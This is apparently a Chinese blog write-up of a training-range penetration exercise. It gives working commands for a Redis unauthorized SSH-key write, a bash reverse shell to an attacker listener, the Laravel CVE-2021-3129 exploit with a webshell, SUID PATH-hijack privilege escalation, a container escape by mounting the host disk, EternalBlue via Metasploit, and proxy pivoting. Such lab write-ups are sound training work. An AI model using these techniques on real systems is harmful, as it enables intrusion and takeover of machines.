首页 > 其他分享 >DHU网络攻防靶场攻击记录

DHU网络攻防靶场攻击记录

时间:2024-05-03 21:12:17浏览次数:14  
标签:攻防 set ip xxx 端口 shell ssh DHU 靶场

DHU网络靶场攻击记录

已知:靶场入口10.199.227.xxx

不完整的网络拓扑图:

image

环境准备:kali/wsl-kali/虚拟机kali以及windows或其他操作系统的本机

工具准备:

  • Fscan
  • nmap
  • laravel-CVE-2021-3129-EXP-main
  • 哥斯拉
  • Burpsuite
  • msfconsole(主要)

目录

如何挂代理

首先可以下载一个stowaway到靶机和本机

然后在本机上执行

./linux_x64_admin -l 本机ip:任意端口 -s 123

在靶机上执行

./linux_x64_admin -c 本机ip:任意端口 -s 123 --reconnect 8

监听成功后回到本机

use 0
socks 127.0.0.1:12354	#端口看个人喜好

然后去修改proxychains.conf

sudo vim /etc/proxychains.conf
#进入界面后拉到最下面添加
socks5 127.0.0.1 12354

然后若想进行扫描则执行

proxychains nmap xxx.xxx.xxx.xx

若想在代理模式下进入msfconsole则执行

proxychains msfconsole

那么这是一层代理

若想挂第二层代理,由于在msfconsole里也可以挂代理,并且由于第二层代理后所有操作均在msfconsole上,因此不需要再修改proxychains.conf文件。

当然也可以在某台靶机上挂代理,这样或许可以不用挂多层代理

msfconsole挂代理具体步骤为:

监听端口

use exploit/multi/handler
set lhost 本机ip
set lport 端口
exploit -j

靶机上执行

bash -c "bash -i >& /dev/tcp/你的监听ip/你的监听端⼝ 0>&1"

进行持久化

回到msfconsole

use post/multi/manage/shell_to_meterpreter
set session 1
set lport 12345	#端口与上面不同
run

创建新会话

sessions -l
sessions -i 1
background

搭建代理

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 23333
run

至此搭建完成

当然也可以在windows下挂代理,有些时候还是会有用的,在靶机上新建一个用户后,设置好账号密码,在本机执行

假设用户名为user

ssh -L 1234:ip1:port1 user@ip2	#ip1,port1为你要通过靶机才能访问到的ip,ip2为靶机ip

然后输入密码登陆上去通过本机的1234端口就能访问了。

入口处机器攻击--redis未授权访问

首先使用fscan扫描端口。

main.exe -h  10.199.227.xxx -np

image

发现6379端口开着并且指出了未授权的文件夹,考虑是redis未授权访问漏洞

打开kali,生成自己的公钥并将公钥写入靶机。

ssh-keygen -t rsa 	#生成自己的公钥
cd .ssh/ 	#进入.ssh目录
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt 	#将公钥写入key.txt
cat key.txt | redis-cli -h 10.199.227.xxx -x set xxx 	#xxx可以自己取任意名字
redis-cli -h 10.199.227.xxx		#redis连接靶机
config set dir /root/.ssh       #更改redis备份路径为ssh公钥存放目录(通过端口扫描可知为/root/.ssh)
config set dbfilename authorized_keys  	#设置上传公钥的备份文件名字为authorized_keys
config get dbfilename 	#检查是否更改成功 
save      #保存 
exit      #退出
ssh -i id_rsa [email protected]   #在攻击机上使用ssh免密登录靶机

image

这样就获取到了第一台机器的shell。

第二台机器--laravel漏洞利用

在web1上进行端口扫描,发现该网段下有两台机器,一台有8000端口和22端口,挂上代理后在网页输入ip,可以看到laravel的界面,因此可以考虑laravel漏洞。

image

由于其有网页,可以考虑使用burpsuite抓包后修改状态清空日志文件再写入自己的木马后,再获取webshell,然后通过监听手段反弹shell之后将docker提权(非常的麻烦)。

而对于这个漏洞有更简单的打法,用laravel-CVE-2021-3129-EXP-main直接就能写入shell,github上可以直接搜到这个工具,下载下来后直接使用命令

python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:xxxx	#端口自己选

image

然后使用哥斯拉连接获取webshell。github搜搜godzila,注意下载3.0以前的版本,不然会失败

注意这里的URL里面的端口和前面的端口要对应,我这里应该是1234而不是8080

image

测试连接成功后点击添加然后右键选择进入,就获取到了webshell,但这是一个docker容器,可以考虑把shell反弹到web1上进行提权操作后将web1的公钥写入这台机器上。

image

在web上监听端口,端口号任意

nc -lvv 1234

在webshell上执行反弹shell命令

bash -c "bash -i >& /dev/tcp/你的监听ip/你的监听端⼝ 0>&1"

获取到webshell之后查找高权限的文件,注意到home/jobs下有一个shell文件

find / -oerm -u=s -type f 2>/dev/null	#由于权限低,所以将查找结果冲顶先到/dev/null

image
输出该文件可以发现其展示ps进程,因此可以利用环境变量进行提权。

在此界面进行以下操作

cd /home/jobs
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
id

image
到这里已经是root权限了,为了后续的进攻,之前扫端口的时候这台机器有开着ssh端口,联系一下web1的攻击流程,可以像本机攻击web1那样,将web1的公钥写入web2。

查找可挂载目录,发现sda1可以挂载。
image
开始挂载

mkdir xxx	#xxx自己取
chmod 777 xxx
mount /dev/sda1 xxx

确实有.ssh目录
image
然后在web1上执行以下命令

ssh-keygen -f xxx	#xxx自己取,生成公钥
cat xxx.pub		#将输出的内容自己复制到无格式文本(建议用记事本)

然后再回到web2

cp -avx xxx/home/ubuntu/.ssh/id_rsa.pub xxx/home/ubuntu/.ssh/authorized_keys 	#xxx是你自己之前挂载时取得目录名,avx是连同权限一起复制
echo > xxx/home/ubuntu/.ssh/authorized_keys 	#清空文件内容
echo '...' > xxx/home/ubuntu/.ssh/authorized_keys	#...就是复制在记事本上的内容

然后再去web1

ssh -i xxx ubuntu@ip 	#xxx为公钥名称,ip为web2的ip

image

第三胎机器--OA漏洞/永恒之蓝

由于msf的永恒之蓝模块太好用了,所以我选择用永恒之蓝打这台

通过先前的扫描端口注意到这台的445端口开着,直接无脑用永恒之蓝

首先本机挂上web1的代理

正常步骤应该还要确认下是否真的存在永恒之蓝漏洞,也是用msf的模块,这个可以自行搜索一下。

proxychains msfconsole	#在代理模式下进入msfconsole
search ms17_010
use 0
set payload generic/shell_reverse_tcp	#用默认的那个拿到meterpreter后shell拿不到,于是直接拿shell
set rhost 靶机ip
set lhost 本机ip
run

一切正常的话直接就进去了。
image

第四台机器--还是永恒之蓝

在web2上继续扫描端口
image
发现依然是一台具有445端口的机器

那么在挂第一层代理的基础上再用同样的方式再挂一层代理,再使用永恒之蓝模块就能打进去了。

proxychains msfconsole	#在代理模式下进入msfconsole
search ms17_010
use 0
set payload generic/shell_reverse_tcp	#用默认的那个拿到meterpreter后shell拿不到,于是直接拿shell
set rhost 靶机ip
set lhost 本机ip
run

第五台机器

用第三台机器先获取域控账密后,然后利用ipc关闭第五台机器的防火墙,然后利用msf自带的psexec进行横向移动即可,但是因为靶场机器不稳定,一直没有打进去。

标签:攻防,set,ip,xxx,端口,shell,ssh,DHU,靶场
From: https://www.cnblogs.com/pang-bai/p/18169079

相关文章

  • 攻防世界 serial-150 IDA动调
    比较完整的做题记录吧,很基础,当作过一遍题目,大佬请飘过题目 分析过程丢到PE里面,是一个64位的ELF 丢到IDA里面,查看字符串,发现线索 但是双击进去,不是汇编。是一个只读的rodata段 左边函数也不多,发现没有main函数,先点进去启动的start函数看看,发现main函数 点进去直......
  • 攻防世界-难度1- happyctf
    参考https://www.52pojie.cn/thread-1792441-1-1.html查壳无IDA静态分析反编译main函数int__cdeclmain(intargc,constchar**argv,constchar**envp){v3=std::operator<<<std::char_traits<char>>(&std::cout,"pleaseinputflag");......
  • 攻防世界-难度1- xxxorrr
    攻防世界-逆向-难度1根据提示应该是异或加密,找到密文和密钥,再异或回去就得到原文。参考https://blog.csdn.net/qq_63699339/article/details/130657034官方wp逆向解法梳理一下程序执行逻辑1.在main函数之前的init-array段首先执行了sub84A在ELF(ExecutableandLinkabl......
  • 攻防世界-难度1- bad_python
    the.pycisbroken,canyouhelpmerecover?攻防世界难度1-bad_pythonpython头部观察文件名pyre.cpython-36.pyc,说明是在python3.6环境下编译的,那么需要恢复正常pyc3.6对应的首部16字节。uncompyle6pip3installuncompyle6uncompyle6--versionuncompyle6pyre.cpython......
  • XSS漏洞靶场
    XSS漏洞靶场level1查看网站源码,发现get传参name的值test插入到了html头里面,还回显payload长度插入js代码,get传参?name=<script>alert()</script>本关小结:JS弹窗函数alert()level2貌似不对,查看下源码闭合掉双引号"><script>alert()</script><"本关小结:闭合绕过......
  • 攻防世界---unseping
    一.题干二.pop链的构造反序列化执行__wakeup魔术方法->waf函数对传入的参数进行过滤->执行__destruct魔术方法->利用call_user_func_array执行回调函数ping三.绕过过滤1.首先,waf函数过滤了ls命令,可以使用空变量${Z}或者''或者""绕过:<?phphighlight_file(__FILE__);class......
  • 攻防世界-难度1- easyEZbaby_app
    攻防世界-难度1-easyEZbaby_app文件格式文件格式(APK,JAR,WAR,RAR)在不同的技术领域和应用场景中有着各自的作用和特点:APK全称:AndroidPackage用途:APK文件是Android平台上的应用程序包格式。它是一种压缩格式,包含了Android应用运行所需的所有文件,包括代码、资源、资产、证......
  • 攻防世界-难度1- toddler_regs
    攻防世界-难度1toddler_regs.zip运行ida静态分析shift+f12搜索字符串点过去F5先搞定g_team_idx,一路跟过去F5g_team_idx=23;还需要两个数组内容:team[]和teamjnu[],点过去就行了。只需要提取其中的内容就行了。注意字符串末尾是'\0',编写脚本时要注意这点team=......
  • 攻防世界-难度1- toddler_regs
    攻防世界-难度1toddler_regs.zip运行idashift+f12搜索字符串点过去F5先搞定g_team_idx,一路跟过去F5g_team_idx=23;还需要两个数组内容:team[]和teamjnu[],点过去就行了。只需要提取其中的内容就行了。注意字符串末尾是'\0',编写脚本时要注意这点team="""......
  • 攻防世界逆向-难度1- easyre-xctf
    攻防世界-难度1easyre-xctf.zipUpx壳这里先直接用工具脱壳,后面学会手动脱壳再回来补充。工具下载地址:https://down.52pojie.cn/?query=upxupx.exe-deasyre.exe再查一次,避免多重壳。逆向分析ida搜索字符串,shift+F12是flag的第2部分,现在查找第一部分。打开反汇编子......